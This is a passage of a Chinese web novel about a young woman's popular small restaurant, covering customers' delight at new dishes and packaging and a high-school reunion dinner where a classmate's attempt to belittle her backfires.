陆向安正吃得起劲，他妈忽然给他打了个电话。 陆向安连忙把嘴里的牛腩囫囵吞下：“喂，妈，怎么了？” “儿子啊，在干嘛呢？五一回来不？” “在吃饭呢，五一就不回了，要找实习了，也没什么时间。”陆向安说着，又吃了一块番茄。 “工作不回家这边找了吗？溪城那地方小，你这第一份工作可得好好找。” “暂时不了吧，还是想先在溪城这边找，到时候期末考试也方便回校。” 这个理由说得过去。 陆母就没再管了，不过又问了一遍：“五一真不回来了？你不想回家吃东坡肉了？之前不是还一直嚷嚷着那边没有正宗的东坡肉？” “对了妈，我跟你说，我在这边已经找到可以媲美，啊不，是超越我们家那边的东坡肉了。” “你说媲美我都不信，还超越呢……”陆母说：“你是不是以为我在担心你吃不到好吃的肉所以才随口编来让我安心的？放心吧我不是在担心你，你不回来的话我正好全吃了。” “……” 陆母又道：“对了，下次编点好的。” “……不是啊妈，我是真发掘到宝藏店铺了，之前还发过朋友圈……啊对，我之前发的朋友圈你没看见吗？” “没有啊，”陆母觉得不对劲，“你是不是把我屏蔽了？！” “怎么可能？！” 陆向安当即就想去截图发给陆母以证自己清白，结果才过片刻，电话那头又传来陆母的声音—— “哦，是我把你屏蔽了。” “……” 30-40 第31章 第31章 挂了电话。 陆向安刚放好手机，余光就瞥到有两道人影落下，跟着落下的还有一道声音： “你好，请问你这儿有人吗？” 陆向安：“没有吧，反正我没看到有。” “……” 丁固和黎成坐下。 在等待上菜的时间，丁固等得无聊，看眼手机又看眼埋头苦吃的陆向安，心血来潮便要跟他聊几句： “陆向安啊……” 陆向安头没抬：“怎么了？” 对方出奇的平静，反而是丁固愣住了：“你认识我？” “不认识啊。” “那你不好奇我是怎么认识你的？” 说实话，要再往前一段时间，陆向安可能会多问一句。 但自从他实名直播后，再来庄记，就经常有他不认识的人跟他打招呼，说什么—— “小陆啊，是我啊，你不记得了吗，小时候我妈经常抱过我，你妈也经常抱过你，咱们两人你住你家，我住我家，咱们家相隔了不知道多少公里，完全不认识……” “陆向安！没想到在这里见到了你，你不记得我了吗？是我啊，你真的不记得了吗？不记得也没关系，因为我和你也不认识。” …… 后来陆向安才知道他们都是溪大的学生，通过那个直播认出的他。 现在大学生压力大，净搞抽象，给陆向安都整无语了。 久而久之，再有他不认识的人莫名其妙喊出他的名字他也能从善如流地应声了。 不过眼前的人，眼睛下方一圈淡青色，头发也不是很茂盛，估计在不久的将来，必有脱发危机，看着完全没有大学生的活力和风貌。 这人，真是溪大的？ “直播认识的呗。” 陆向安说完，瞄了眼对方的神情就知道自己猜对了。 同时，也确定对方就是溪大的了。 不是溪大的估计也不会看到那个直播。 不过，到底什么专业这么摧毁人啊？ 陆向安百思不得其解。 丁固又跟他唠起了庄记的东西，说起这个，陆向安可就来劲了。 既然知道丁固看了直播，之前直播过的菜式陆向安就不说了，着重讲了今天的新品番茄牛腩面。 吹得那叫一个天上地下绝无仅有。 丁固听饿了。 黎成听笑了。 但又不好当着人家面吐槽，黎成只好给丁固私发了消息：[吹得那么夸张，指定翻车你信不信？要真有那么牛逼，这小馆子还会窝在这里？] 黎成：[刚好我点了番茄牛腩面，看我等会儿怎么打他脸的。] 黎成没看过直播的画面，但丁固看过，自然知道有多么诱人，所以他隐隐觉得这家应该是挺不一般的，他刚想劝黎成别那么想时，他们的菜被端上来了。 丁固只得放好了手机。 丁固买的是荷香鸡。 此时荷香鸡跟番茄牛腩面放在一起，一个是低调的浅黄，一个是鲜亮的红，无端显得荷香鸡寡淡起来。 鼻尖萦绕着那股番茄的香，连丁固都闻到了，是能助消化的那种酸溜溜。 才闻了一会儿，丁固就感觉胃里倒入了一大杯酸性液体，融掉了里头的食物，瞬间变得空荡荡。 他看了眼黎成，从对方的神情中读出了“这不对吧”“怎么那么香”“好像跟我想象中的不一样”“难不成那个人吹的都是真的”等一系列打脸的讯息。 丁固懒得再理他，饿得不行了，怼着荷香鸡就大快朵颐起来。 其实荷香鸡也超级好吃，荷香无处不在，甜汁丰盈，但人总是吃着碗里的看着锅里的。 于是，丁固推了自己的碗过去：“分我点呗黎成。” 谁知，刚刚还十分不屑的黎成此刻却护犊子般挪开了碗，口齿不清地吐一个音节：“滚！” “是谁刚刚说看到面就想吐的？” 丁固：“？” 是他点单时说的没错，但那是因为平时加班已经吃得够多泡面了，导致他现在看到面都ptsd了，又不是因为觉得不好吃才不点的。 “你他妈……”丁固服了，他忍不了了，直接上手抢：“你刚还说指定翻车呢！结果自己还不是吃得那么香。” 眼看着被分走打半，黎成也忍不了了，也抢了丁固的荷香鸡。 “……” 陆向安果断掏出手机，标题他已经想好了，就叫：《震惊，两男子竟为了一只鸡大打出手》。 然后两人又不抢了，重新安静了下来。 也许是因为都抢到了对方的东西，觉得不亏。 当咀嚼到那每根都柔韧劲道的面条时，丁固猛然一怔，觉得灵魂都被洗涤了一样。 竟然有面条这么入味的同时还能这么有嚼劲，不是那种绵软到烂的化渣口感，也不会轻轻一夹就断。 简直是梦中情面！ 什么一看到面就吐，那是因为他从来没吃好吃的面，像面前的牛腩面，他能吃一辈子！ 番茄可口，牛腩的牛肉香也馥郁香浓，跟外面滥竽充数的不一样。 好吃到爆炸！ 这一趟真是来得太对了！ 喝完最后一滴番茄汤，丁固咂咂嘴，满足地打了个饱嗝。 对面的黎成也吃完了，仍有点意犹未尽：“受不了了，从来没吃过这么好吃的东西。” 丁固：“我记得你刚刚不是这么说的吧，怎么说的来着？我翻翻看啊，指定翻车？看你怎么打他的脸？” 黎成：“……” 丁固想，如果这种打脸有声音，那此时的场景一定堪比万人鼓掌。 就一口嗨，黎成也不是玩不起的人，认怂也快：“算我有眼不识泰山行了吧，不过是真的很难想到路边的一家小饭馆竟然能好吃到这种程度，这跟天上蟠桃落人间有什么区别？” 这个说法，丁固赞同。 所以他也是捡到宝了。 丁固忽然觉得中的那个奖不兑也行。 能让他吃到这么好吃的一家店就已经是中大奖了。 趁着陆向安还在，丁固又跟他唠嗑了几句，顺便道了个谢，要是没有陆向安，他还真不一定能遇到这个宝藏店铺。 陆向安豪气摆手，说是小事。 只是临别前，陆向安看着丁固的脸，终于忍不住，将心中那个欲言又止的问题问了出来： “兄弟，你溪大哪个专业的？” 丁固：“什么溪大？我不是溪大的。” 也是这会儿，陆向安才知道原来对方已经出来工作好几年了。 不过，还是比同龄人憔悴很多。 陆向安：“那你说说哪个行业的吧。” “怎么了？” “没，看你老了不止十岁的模样，我想知道到底是哪个行业这么折磨人，准备给下届师弟妹避个雷。” “……” 杀人诛心。 经过几年工作毒打，能不憔悴么？ 黎成在一旁笑疯了。 丁固则想兑奖了，现在就兑！ 他当即掏出手机，打开中奖界面，提起陆向安的领子将手机怼到他脸上让他看清楚。 “赶紧V我50！” * 之前购买的新桌椅终于到了。 庄凝冬和季初曼一起，把旧的桌椅收好，搬出后院放着，等人来收，接着又把新桌椅一一摆好。 除了新桌椅，还有定制的那批盒子也到了。 庄凝冬琢磨着，还是等明天再派上用场吧。 怕下班的时候饭菜够卖光光，季初曼便提前问：“凝冬，我可以先预定几份饭菜吗？我想下班带回去跟家人一起吃。” 庄凝冬人也没什么架子，之前听着季初曼喊老板娘总觉得过分生疏，便让她喊名字了。 “可以啊，你想要什么？我给你留出来。” 季初曼说了几样菜名，正要扫码付款，被庄凝冬看见后阻止了。 “说好包吃的。” “没说好包家里人吃啊。”季初曼不顾劝阻，反而苦口婆心道：“现在也就因为只有我一个人，所以你不觉得亏，等日后店里员工多起来你就知道了。”还是先收着吧， 庄凝冬“啊”了声：“其实我没想过要招很多人。” 目前店里这个规模的收入不但足够维持她和奶奶的生活，还够她还钱，再多些时日，生活质量也能往上提提。 庄凝冬已经很满足了。 至于别的，她压根没想过。 “以后招不招人以后再说，但有些规矩还是要在开始就立下的，”季初曼说，“比如，你可以设置一个折扣，让店里员工便宜购买，但不能免费，不然等招了更多员工后再来该规则的话，落差太大难免会导致他们心里不平衡的。” 庄凝冬见状，只好应声，随口说了个八折，让季初曼付了款。 次日要上绿豆糕，头一天晚上，庄凝冬准备往群里和微博发通知，她谨慎思忖了下，还是决定先问一句：[一则好消息一则坏消息，你们想先听哪个？] zz：[好消息。] 111：[还是坏消息吧，先抑后扬。] 累：[都行。] 庄凝冬：[好消息是：你们一直期待的绿豆糕终于要来了！就在明天！定价为一盒30元，一盒有六个，惯例先到先得，欢迎大家来购买/礼花。] 谭清莹：[啊啊啊刚加完班的我看到了什么？！是绿豆糕！这就是我加班的福报吗？真是太爱了！] 不想上早八：[刚好明天上午没课，睡醒就可以去庄记了，绿豆糕你一定要等我！] 一堆尖叫的消息里，有人问：[那坏消息是什么？] 庄凝冬：[坏消息是，明天开始，打包盒要加收一块了，因为我换了新的打包盒。] 之前打包都是不用钱的，但现在新盒子是花钱定制的，选用的材质也比之前的更健康。 庄凝冬还是打算收个打包费，原本她还担心他们会有怨言，谁知道他们不仅没异议，反而很支持她。 谭清莹：[吓死我了，还以为是别的什么很严重的事，这算什么坏消息？] 别惹我：[小事而已，要我说早该收了，别人店里打包都要花钱的呢。] 来啊发癫啊：[才多收一块而已，收就收了，只有我好奇是什么新的打包盒吗？老板娘可以先给我们看看吗？/可怜] 底下一堆人附和，庄凝冬视而不见：[先保密，等明天你们就知道了。] 还得搞抽象：[明天就去！顺便买绿豆糕，一盒才六个，哪里够吃，等我买个十盒八盒/得意。] 庄凝冬：[对了，为了让更多顾客买到，绿豆糕限购，一人一盒哦。] 还得搞抽象：[……] 有人看到后，忍笑艾特他，问：[还搞抽象吗？] 那人没回，不过过了一会儿后，他的ID变成了“再也不搞抽象了”。 底下一群吃瓜群众无情地嘲笑起来，一人一句哈哈哈，消息弹得飞快。 次日，庄凝冬的日常工作里多了做绿豆糕这一项。 蒸熟的绿豆一捏就松散，由于量大，庄凝冬用食品专用袋装好绿豆再用擀面杖把它们碾碎。 做绿豆糕不难，但费劲，炒好绿豆陷后，把它们按压进模具再脱模就可以了。 最后一个环节很简单，庄凝冬喊来了季初曼帮忙。 “绿色的馅料就放在中间花蕊的位置，其他花瓣就放黄色的绿豆陷，”庄凝冬仔细地教着，一个完美的花形绿豆糕从她手心诞生，“你看，这样就好了。” 季初曼以前带女儿的时候，学过不少手工，这对她来说自然不算什么难事。 哪怕她早已在之前就已见过很多更为精致的模型，此刻也不由得被惊艳道：“好漂亮……” 庄凝冬塞了一个到她嘴里，季初曼顿觉口腔被一股清凉的绿豆香占满。 “凝冬，这个绿豆糕我也要买一盒。”季初曼嚼着细腻香甜的糕体说。 好漂亮，欣欣一定会喜欢。 好好吃，季女士也一定会喜欢。 “可以呀。” 之后，庄凝冬再向季初曼展示了一遍装盒，就把活交给她了。 晚点奶奶跟陈婆婆在外面散完步回来，看到季初曼在装盒，完全闲不住，也要上前帮忙。 装盒环节其实很简单，都不需要什么劲，不过就是数量大，做起来难免枯燥。 自己是拿工资在干活，季初曼哪敢让老人家帮忙，最后还是庄凝冬应允后，奶奶才得以坐在竹凳子上打发时间。 今天上线绿豆糕的消息发了出去，到店里的人又多了些，更有些人就为了绿豆糕而来，一进门就大声：“老板娘，给我来一盒绿豆糕！” 有人不明所以：“什么绿豆糕？” 有人热心肠回答：“就是之前拿来当过赠品的绿豆糕，今天可以花钱买了，你不知道？！” “我去，真的啊？我是真不知道，你们又是怎么知道的？” “看那里，”有人指了指，“扫码点个关注再开个通知你就能第一时间知道了。” 那人看见后连忙下了个微博…… 也有人进门就发现不止换了新桌椅，就连数量也多了。 “换新桌子了耶！这个颜色既明亮又复古，啊啊啊爱了！” “桌椅数量也多了，太好了，座位多了那么多，以后就不用等很久了吧？” “这下即使是打包带带走的人也能坐下来歇息了。” …… 人群中忽然间有人说了句：“桌椅算什么？绿豆糕这个包装盒才是最绝的！” 此时，第一人拿到了绿豆糕的人成了全场瞩目，他霎时被盯得脸红了，垂下眼睫磕绊道：“我，我上一次被这么盯着，还是因为校运会上50米项目把鞋跑掉了，怪让人不好意思的……” “……” 不过没人在意他，讨论的都是他手里的盒子。 大概因为绿豆糕本身的体积不是很大，一盒六个也不占什么地，所以专门为绿豆糕定制的盒子还挺小巧的。 整体呈豆绿色，搭配烫金色，盒身有形如荆棘树枝般弯绕的繁复花纹，庄记的专属logo位于左上角，“绿豆糕”三个字字体飘逸，处在正中央，上方散落几片槐花瓣。 有种宁静的雅致美，给这盒绿豆糕提升了不止一个档次。 人群中不可抑制地发出一声声惊叹： “我去，这也太好看吧！老板娘的审美一绝！” “我靠，赚大发了！御水轩的绿豆糕盒子都没这么好看！真的太美了，美到我都想让老板娘要不多定制些盒子拿来卖算了。” “我恨啊！为什么限购一盒？这么漂亮的盒子，拿出去送人都倍有面子，我想多备几个啊。” “你们快看！不止绿豆糕，就连平时的打包盒都变了。” 打包盒的材质比平时的更要厚，从质感上来说要更为高级，不止如此，上方也有庄记的专属logo。 “才加一块就有那么好看的打包盒，果然，庄记yyds！” “想到别的店，加收一块就算了，打包盒还是那种薄薄的，盖子边缘甚至比刀还锋利，温度要是再高点，我都要怀疑它会当场融掉。” “不说了，我要吃一辈子庄记！” …… 在场的人是看见了，有些今天无法到店的人，则眼巴巴地在手机屏前面等着别人发出来。 他们自然不用开口问，群里自会有人嘚瑟。 这群人，放在平常，哪怕来来去去都只有那几样菜，也会乐此不疲地炫耀出来，更别说今天有这么好看的新盒子了。 于是，当看见顾客群里有人拍照发出来后，无法到店的人炸了： 别惹我：[卧槽卧槽！这么漂亮？！好端端开什么班会啊我真的想吐！搞得我都没法去买庄记了，好想逃TAT] zz：[还是好好开会吧，因为你现在逃也来不及了，买绿豆糕的人已经排到门口了。] 谭清莹：[是真的好看，我就这么提着走回公司，有同栋楼其他公司的女生看见了，还来问我在哪买的。] 陆向安：[兄弟不是我说，你这拍的什么玩意儿？也就盒子颜值能打，不然真扛不住你这稀烂的技术，受不了了，等我去拍吧。] 陆向安以前就往群里发过不少庄记的图，其中，最受群友喜欢的是，之前他用来发过朋友圈的，画面里既有茉莉花茶、插花，又有东坡肉的那几张。 结合他以往直播的拍摄来看，陆向安的技术还是得到了群友的一致认可的。 不想动：[赶紧去啊！！我还等着收图呢！] 111：[坐等＋1，谁懂好不容易买到了想发个朋友圈，结果怎么拍都拍不好看的痛苦？] 有种打死我：[我丢，没想到盒子这么好看，本来五一假期我回家的车票都买好了，结果看到这么漂亮，我又改签了，别问，问就是为了买一盒绿豆糕带回家。] 每天都好困：[我也要买一盒带回家！] …… 一天的忙碌过后，暮色降临，清夜如尘。 庄凝冬坐在书桌前刷着顾客们的反馈，发现清一色好评与夸奖之后，她才松了口气。 留意到有人提到了五一，庄凝冬知道这是这个时代的劳动节，是法定节假日。 不过餐饮行业的法定节假日大多不放假，庄凝冬自己肯定是不休息的，她问了季初曼，季初曼也不打算休息。 庄凝冬便按规定，给她算了三倍工资，等结算的时候再付给她。 既然是过节，庄凝冬想，要不上个新品吧。 思来想去，她定了椒麻鸡。 还是准备跟钟盼买鸡。 那头庄凝冬刚跟钟盼交流完，正要放下手机学习时，微信弹出了一条艾特她的消息，来自沉寂已久的高中群。 都过了好几年了，群里平时都没人说话的，这次突然聊起来也是因为有个同学的微信号被盗了，那人找回号后就群发了抱歉、让大家注意借钱问题的话。 群里大概还有跟他相熟的朋友，看到后就开玩笑说“提醒我了，我上次借了你100w你还没还呢，打算什么时候还”。 那人看到后就回：[是欢乐豆吗？] 于是，场子就这么被热起来了，底下人各种开玩笑调侃“还好我当初没加你”、“别说，100w欢乐豆我都没有”…… 话题也从天南到地北，聊起了各自的去向。 后面有人觉得不够尽兴，就提议：[哎正好五一，你们都出去玩了吗？有没有回溪城的？在溪城的吱一声啊，出来聚聚呗。] 孟瑗：[别提了，实习一堆破事，再加上要答辩了，我觉得我连出门的时间都没有，更别提出去玩和回溪城了。] 陈心：[实习＋1，答辩＋1] 王豪磊：[你们这么惨啊？我昨天刚好答完辩，也还没找工作，一身轻过五一，正好回趟溪城。] 余杰：[那要不有空准备聚聚的都报个数？] 李自：[还没确定好的怎么办？] 余杰：[那就先不急，反正到溪城的票又不用抢，你要是能在我们上菜前赶到也可以给你加一双碗筷哈哈。] 王豪磊：[那去哪里聚哇？御水轩？/狗头。] 余杰：[别吧，这家我暂时还吃不起，我是快要出去工作，不是快要暴富了，各位老板们行行好，体谅一下小弟我吧。] …… 群里讨论得热火朝天。 庄凝冬却陷入了回忆里。 原主以前在班里很沉默，没跟谁建立有深刻友谊，几乎不参加班级组织的集体活动，能拒绝的都拒绝掉了。 要不是成绩过于出彩，常年雷打不动霸占年级第一的位置，估计也没什么人能注意到她。 原本就不是很熟，加上那么多年不联系，想来也不会有人主动问她要不要参加同学聚会。 庄凝冬往下滑着看。 果不其然，那条艾特她的消息也不是邀请她参加的，而是—— [我倒是知道一个地方，还是老同学开的呢，大家都知道现在生意不好做，门庭冷落的感觉肯定不好受，不如我们就去那里？还能帮帮老同学呢。 欢迎我们吗？凝冬@庄凝冬] 发这条消息的人是：刘文。 第32章 第32章 自从上次阴差阳错去了庄凝冬店里吃过一次饭后，刘文就再也没去过了。 所以在她的印象里，庄记还是跟之前一样只有寥寥几人。 刘文故意在大伙面前这样说，就是为了让他们看看：即便读了万宁大学出来又怎样？到最后还不是落得个糊口都困难的下场。 不过群里的画风却并不如她想象的那般…… 艾特消息发出，庄凝冬还没出来回复，群里的同学就一片震惊了： 余杰：[真的假的学霸开饭店了？] 李自：[如果我没记错的话，学霸不是去了万宁读大学吗？万宁大学还有厨师专业？] 陈心：[你应该没记错，因为咱们那一届只有一个人考上了万宁。] 孙晓燕：[怎么了这是，学霸放弃高薪工作，回来造福家乡？不愧是学霸，格局就是大。] 王豪磊：[在这种大环境下都能果断舍弃高薪工作，看来我跟学霸之间的差距不止智商，还有这种视金钱如粪土的高尚人格。] …… 怎么会这样？ 刘文重新去翻看了她发的那段话，虽然是隐晦了点，但她不是这个意思啊，她不是要他们都夸庄凝冬的意思啊！ 这群人是怎么回事？！ 曾经出类拔萃的人如今窝回小家乡变得泯然众人，变得跟自己差不多甚至混得还没自己好，难道他们都不觉得爽吗？ 刘文很抓狂，她正想说点什么的时候，庄凝冬出来回复了： [自然是欢迎的，但是你们要提前告诉我什么时候来，我才方便给你们预留出桌子。 不然太突然的话，我也不能保证你们有位置坐。] 刘文皱眉，这话什么意思？难道她店里的人已经多的坐不下了？ 不可能吧，明明上次去的时候店里才零星几个人。 这才过去多久？怎么可能发展的那么快？ 王豪磊：[我去，预订？生意这么好吗学霸？] 刘文咬牙：[放假嘛，人多也正常。] 蔡雨：[对哦，差点是在忘了在五一假期了] 余杰：[好好好，既然学霸都发话了，那我们讨论好时间就提前告诉你。] 王豪磊：[有包间吗？！我想在包间吃！] 下面，刘文和庄凝冬的消息同时弹出—— 刘文：[没有，就跟快餐店差不多。] 庄凝冬：[没有。] 王豪磊没什么心眼：[哦哦，没有包间也行，还不是照样聚会。] 余杰：[不确定要不要来的可得赶紧想好咯，学霸店里生意好，要是中途才加入，可能没位置给你坐哦/得意] 接下来，群里的人又聊了好一会儿，虽然话题今天从庄凝冬身上跳转到各自的见闻上，但他们也没忘了重点，在当天晚上就给出了聚餐的时间，拜托庄凝冬帮留出个位置。 他们聚餐的时间定在了一天后的晚上。 一共六个人。 刚好留出一张四人桌，将桌子从墙边拖出来点，再在另外两头加上两张椅子就可以了。 庄凝冬留的是靠近后厨和收银台那边的桌椅，这桌椅靠最内里边边，他们人多，再吵闹也不会影响到后面排队的顾客。 也不会造成拥挤。 聚会当天傍晚，庄凝冬往那张桌子上留了已有人的纸张。 红底黑字很显眼。 应该不会有客人往那坐。 为以防万一，庄凝冬把这件事跟季初曼说了下，让她帮忙留意那处的桌椅。 至于同学那边，庄凝冬表示自己在后厨忙可能顾及不到，便让他们进来就到收银台找季初曼。 以余杰为首的几人事先约好在某个地方碰面，再一起过来。 刘文也在其中。 拐了个角，在即将到达庄记门前时，刘文心中那股不好的预感越来越强烈。 直到人完完全全站在门庭若市的庄记前方时，刘文彻底傻眼了。 这……这么多人？ 这怎么可能？ 明明之前还…… 王豪磊叹：“我靠，这就是学霸的店面啊，虽然看着跟其他饭店差不多大，但门口的牌匾就很不一般了，够气势啊。” 余杰：“你没有注意到么？这一路走过来，其他饭店都是只有三三两两的食客，只有学霸这里聚满了人，可见学霸的能力不一般啊。” 孙晓燕担忧：“这么多人，学霸忙得过来么？我们不会给人家带来麻烦了吧？” 蔡雨：“以前我爸妈做过一段时间餐饮，后来没能坚持下去，因为做餐饮是真的很累，突然对学霸又多了几分敬佩。” “对了刘文，你不是说学霸的店里很冷清么？这……”余杰看看眼前的店又看看刘文，“难道是我们对冷清的定义不一样？” 刘文现在很烦，但还是忍了忍：“我来的那天就是很冷清啊，后面就没来过了，我怎么知道——” 王豪磊：“不愧是学霸，连开店都能在那么短的时候发展起来。” “……” 他们几人你一言我一语，刘文夹在里面都没怎么说话。 她忽然后悔提议来这里了。 王豪磊：“唉，话说高新言人呢？不是说他来吗？” 余杰：“他是说会来，但他说还要再晚点，让我们先进去。” 孙晓燕和其余两个女生都有点惊讶：“啊？班长要来？我们怎么不知道？你怎么没跟我们说过？” 高新言是班里的万年老二，同时也是班长，待人温和，为人谦谦有礼，跟班上同学的关系都处的很好。 以前上学的时候，班级集体活动，聚会什么的一般都是由他组织，不过高中毕业以后，他搬家了，不在溪城住了，逢年过节也没回来。 没了领头羊，他们班也就好几年没聚过了。 这是上大学后第一次聚会。 只有六个人，甚至都算不上是同学聚会。 谁家高中同学聚会只有六个人啊？ 不过仔细想想，都上大学了，往后只会朝不同的方向越走越远，这样还能喊出六个人，其实已经算不错了。 “我原本是想跟你们说的，但他也是昨天才突然跟我和王豪磊说要来，我就想着，反正我们不管五个人还是六个人都用的一张桌子，然后我就去问学霸能不能再多加椅子了，学霸说没问题之后我回复他了，到这里的时候，我还想着要跟你们说的，结果一个电话进来，我就给忘了。” “怎么，他要来你们介意啊？”余杰这会儿后知后觉，不过他想了想，又自言自语道，“不能吧，我记得班长没跟你们结过仇啊。” 孙晓燕：“这倒没有，就是突然觉得惊奇而已，我记得他都好久没回来了吧。” “班长不愧是班长啊，心中果然一直都有我们，怎样都要挤出时间回来跟咱们见一面。话说班长现在做什么工作？” “这我也不知道，你可以等他来之后问他。” …… 高新言一直没来，他们五个人便打算先进店里坐着等。 一行人浩浩荡荡直奔收银台，季初曼看一眼就知道他们是庄凝冬提前交代过会来吃饭的同学。 于是她礼貌地指了指那边桌子：“你们的座位在那边，菜单的话你们得看这块板，店里有的菜式都在上面了，讨论好要吃什么的话就写到纸上拿过来，会尽快给你们安排的。” 余杰接过纸和笔：“好的！” 他们几个是安然坐下了，旁边围观的全程的顾客们却酸了： “啊，那张桌子是为他们留的吗？！不是为什么他们能预订位置啊？店里什么时候新出可以预定的规则了吗？” “如果真的可以预订的话那我也要预订明天的！” …… 季初曼刚要开口解释，正在后厨忙活的庄凝冬已经站到小窗口旁开始交代了： “大家先安静一下，店里面暂时没出可以预定的新规，事情是这样的，因为他们是我的高中同学，也很久没见了，他们听说我开了店之后，都想来捧捧场，我就只好给他们留出座位了，大家应该不会介意吧？” “原来是这样，我就说店里要是出了什么新规怎么可能不通知我们嘛。” “不介意不介意，反而有点同情老板娘你了，同学在前面欢声笑语谈天说地，自己却还要在后面辛苦做饭赚钱。” 庄凝冬只是浅浅一笑。 没说自己对同学聚会其实不是很感兴趣。 又有顾客说：“不介意是不介意了，但嫉妒了，啊啊啊啊我要是老板娘的同学就好了！从来没这么羡慕过别人。” 兴许他们说的话以及流露出的神情太过真情实感，余杰他们几个人看到后都不禁觉得骄傲，甚至还跟他们聊了起来。 “那是，你们都不知道，老板娘当时可是我们的班第一，不，是我们的年级第一，从来没掉下过第二。” “不仅如此，她的作文每次都能得高分然后在各个班之间被传阅。” “有她在，我们班的平均分排名就没掉下过第一，那时候我一个校外朋友还向我打听，问我们年级的4班是不是我们的重点班，我说我就在4班……话都还没讲完呢，他就笃定地打断我说‘那没事了，你在的班级必不可能是重点班’……” 人群中霎时响起一阵哄笑。 刘文身坐其间，听着那些话，觉得浑身都不得劲。 也是这时，刘文才反应过来，原来以前同学们很少主动去找庄凝冬玩不是因为讨厌她嫉妒她才排挤她。 而是因为，在这样的光环下，他们难免自惭形秽。 所以保持着适当的距离仰慕。 高新言在最欢乐的时候落了座。 话题中心一下子跳到了他身上，其他顾客买完东西也不想打扰别人的同学聚会，唠了几句就走了。 “好久不见啊班长，又帅了。” 高新言坐在位置上，眼神不动声色扫过收银台那边的人，随后又移到别处，似在寻找什么。 最后，在和后厨联通的小窗口上定格了几秒。 他收回目光，笑：“是好久不见了，刚在聊什么那么开心？” “哦，聊庄大学霸呢。” “该叫庄大老板了，你都不知道，刚刚……” 余杰把刚刚发生的事夸张地复述出来，又总结了庄凝冬现在的魅力之大，有多讨顾客喜欢。 “那看来是凝冬她做菜很好吃，所以才得到客人的拥戴。” “我觉得也是，”蔡雨说，“不过我前面问过刘文，刘文好像说不怎么样来着。” 其他人的目光霎时聚集到刘文身上。 刘文如坐针毡，还没找好借口，庄凝东便端着饭菜过来了。 顺便跟他们打了个招呼。 桌上有人提议等庄凝冬忙完再来一起吃，庄凝冬婉拒了，说趁热吃比较好。 “店里人多，招待不周，麻烦多担待。”庄凝冬嘴角浅浅的弯着，嗓音平淡温和，“你们慢用，我先去忙了，有需要的话再喊我。” 高新言张了张嘴，似要挽留，到最后还是作罢。 庄凝冬走后。 余杰：“怎么感觉庄老板比以前爱笑了呢？” 王豪磊：“你赚钱你不笑啊？” “……” 话题被转移，刘文松了口气。 他们把店里所有的菜都点了一份，包括新品椒麻鸡。 一桌子菜不仅香气浓郁，卖相更比其他饭店的上乘得多。 空了一下午的肚子一下子就被刺激的叫了起来。 一个个迅速拿起筷子，却又不知从何下手。 看着哪个都好吃，哪个都想先吃。 “好香啊，都是老同学了，我就不客气了啊。” 王豪磊说着，戴上手套先撕了一个鸡腿，和着淡色剔透又浮了几滴油脂的鸡汁大快朵颐起来，吃得满嘴流油。 “我丢！真香啊，太嫩了！果然，鸡还是原汁原味的最好吃。” “这我不同意啊，”余杰夹起一块椒麻鸡，感受着那股麻辣鲜香，简直好吃麻了，“你尝一下这个椒麻鸡，绝对能刷新你的认知！” 王豪磊认为，鸡吃的就是一个新鲜甘甜，麻辣的味道太霸道，存在感太强，会覆盖住鸡原有的香味，他一点也不喜欢。 所以，他自然不信余杰的话：“不可能！” 余杰：“赌不赌？就赌今晚的酒水吧，谁输谁买单怎么样？我赌你吃过之后绝对会爱上。” 来之前，他们提前问过，庄凝冬这里没有酒水，他们就从别处买了点带来。 余杰付的钱，还没A呢。 王豪磊心想难道你还能比我更了解我的口味不成？ 于是，他也爽快应下，话语里皆是自己不可能输的劲：“行，那我就先谢谢你请我喝酒了。” “话还是别说太早，赶紧吃吧。” 面前的椒麻鸡被撕成一块块长条状，和洋葱丝、青红椒段混在一起，色彩搭配非常好看。 薄薄的鸡皮和鸡肉表面因沾了椒麻料汁而泛着亮晶晶的光泽感，格外诱人。 就肉身的光滑度来说，看着还挺嫩的，不过味道应该只有麻辣的口味，王豪磊心想。 他不甚在意地夹起一块送进嘴里。 其他人停下动作，感兴趣地盯着，不放过王豪磊脸上的神情变化。 只见他咀嚼了下，然后陡然顿住，眼睛也不自觉瞪大。 其他人：“怎么样？！” 王豪磊不作声。 只觉得口腔中的每个角落都被香浓醇厚的麻辣占满了，而鸡肉特有的鲜甜却不知道从哪里冒出来，丝丝缕缕源源不断，完全没被强势的麻辣掩盖。 两者味道融合得非常好，椒麻鸡的鸡肉肉质也跟荷香鸡一样嫩滑，薄皮脆脆的，鸡肉口感紧实多汁，简直不要太好吃。 王豪磊震惊：学霸的厨艺竟然这么高超吗？！ 另外，还有最重要的一点。 其实不止是麻辣味的鸡，就是其他麻辣味的菜，王豪磊也很少吃，因为他特别怕那小小圆圆的、藏在犄角旮旯里的花椒，要是不小心吃到，那真是中大奖了。 麻的发苦的滋味就像粘在了嘴里一样，好半天才能冲淡点。 但他观察过了，眼前这份椒麻鸡里，没有整颗的花椒，也没有其他体积较小的香料，味道却依旧浓厚，应该是在制作过程中就过滤掉了。 这一点也让王豪磊的好感度蹭蹭上涨了不少。 同时，他也止不住感叹庄凝冬的细节。 鸡肉吸满麻辣鲜美的椒麻汁，是那样的麻辣和咸香！麻得带劲！辣得够爽！ 一块根本不够吃！ 王豪磊再次伸出手，筷子张开大角度，一合，夹起的鸡肉之多，让那一块地方都凹了下去。 “哎哎哎！！”余杰忙拦住：“什么意思？不好吃还夹那么多？” 想起自己方才大言不惭的话，王豪磊也不害臊，这点酒水钱他还是付得起的。 “好吃！特好吃！活了二十多年，我第一次知道原来麻辣和清淡鲜甜是可以相辅相成的，前面说过的话大家不要放在心上，还是我见识太浅显了，我这为我的无知买单，今晚的酒水钱我付了，大家放开喝！” 众人一片感谢。 余杰：“好吃你也不能夹那么多！给我留点！” 不止鸡肉，同样拌了椒麻汁的洋葱丝也清脆辣爽，青红椒脆得爽口，让人欲罢不能。 饭桌上，众人的话题围绕着吃展开。 “真的好好吃！学霸的手艺太赞了！” 孙晓燕最近愁工作的事，胃口变差了不少，都没好好吃过一顿饭，直到现在……舌尖猛然触及到顶尖美味，犹如久旱逢甘霖。 她顾不得形象，扒拉着饭碗吃起来。 “所有菜都是学霸做的吧？我看后厨里只有她一个人，这么强，难怪有勇气回来开店呢。” 蔡雨嘴里塞着大口米饭含糊不清地说，吃饭和讲话两不误。 闻言，高新言又看了眼后厨忙碌的身影，颠锅动作干脆利落。 “果然是造福家乡！我在外面读了那么多年大学都没吃过这么好吃的饭菜！” 嘶溜一声，是一串丝滑的面条，所过之处，余留酸甜的番茄香。 “＋1！” 